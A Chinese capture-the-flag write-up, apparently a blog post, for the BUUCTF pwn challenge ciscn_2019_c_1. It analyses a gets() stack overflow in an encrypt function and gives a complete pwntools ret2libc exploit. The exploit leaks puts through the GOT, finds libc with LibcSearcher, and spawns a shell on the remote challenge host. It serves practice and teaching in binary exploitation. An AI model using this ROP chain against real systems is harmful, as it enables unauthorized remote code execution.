BUUCTF ciscn_2019_c_1题解

先在虚拟机里用checksec,和file查一下,64位动态链接程序。

只开了一个NX,栈堆随机化,got表随机,大概率是一个栈溢出。

用gdb跑一下,看一下什么流程。

 可以看到有三个选项,1,加密,2,解密,3,退出。

选个1,输入我们要加密文字后,给出加密结果。2,解密只给出一句话没什么用。3,直接退出了。

推测应该有个加密函数,其中会让我们输入内容,栈溢出应该在这个部位。

用IDA看一下。

 可以看到有个加密函数,进去看一下

它开辟了50个栈空间,但是只读了48个字符,这里有漏洞。

可以覆盖返回地址。

然后我们查看字符串,发现没有后门函数

分析一下这个加密算法:

int encrypt()
{
  size_t v0; // rbx
  char s[48]; // [rsp+0h] [rbp-50h] BYREF
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets((__int64)s);//不检查输入的字符长度,可以导致缓冲区溢出
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )
      break;//遇到长度为0退出
    if ( s[x] <= '`' || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= '\x0F';
      }
      else
      {
        s[x] ^= '\x0E';                  加密就是在特定范围与特定的数进行异或
      }
    }
    else
    {
      s[x] ^= '\r';
    }
    ++x;
  }
  puts("Ciphertext");//最后puts输出
  return puts(s);返回puts输出值
}

看来我们要构造ROP链了

需要先找出函数的真实地址。利用触发漏洞构造system("/bin/sh")的ROP链

两次攻击,第一次泄露地址,第二次得到shell权限

#!/usr/bin/env python3
from pwn import *
from LibcSearcher import*
context.log_level='debug'  #设置调试模式,输出详细的调试信息。
elf=ELF('./ci')   #加载目标程序的二进制文件,用于获取程序的符号地址。
#io=process('./ci')
io=remote('node5.buuoj.cn',28167)
ret=0x4006b9
pop_rdi_addr=0x400c83
puts_plt=elf.plt["puts"]  #puts 函数的 PLT(Procedure Linkage Table)地址,用于调用动态链接库中的 puts
puts_got=elf.got["puts"]  #puts 函数的 GOT(Global Offset Table)地址,用于存储动态链接库中 puts 的实际地址
main_addr=0x400B28
payload=b'\0'+b'a'*0x57+p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.sendlineafter(b"Input your choice!\n",b'1')
io.sendline(payload)
io.recvuntil("Ciphertext\n")
io.recvuntil("\n")

puts_addr=u64(io.recv(6).ljust(0x08,b"\x00")) #接收 6 字节数据并补齐 8 字节,解析为 64 位地址。
libc=LibcSearcher("puts",puts_addr)  #根据泄露的 puts 地址查找对应的 libc 数据库。
libcbase=puts_addr-libc.dump("puts")  #计算 libc 的基地址,用于后续调用 system/bin/sh
print(libcbase)

io.sendlineafter(b'Input your choice!\n',b'1')
io.recvuntil(b"Input your Plaintext to be encrypted\n")
sys_addr=libcbase+libc.dump('system') #实际地址是基地址加上偏移地址
bin_sh=libcbase+libc.dump('str_bin_sh')
payload1=b'\0'+b"a"*0x57+p64(ret)+p64(pop_rdi_addr)+p64(bin_sh)+p64(sys_addr)  #把/bin/sh地址加载到rdi再用system函数执行。
io.sendline(payload1)
io.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值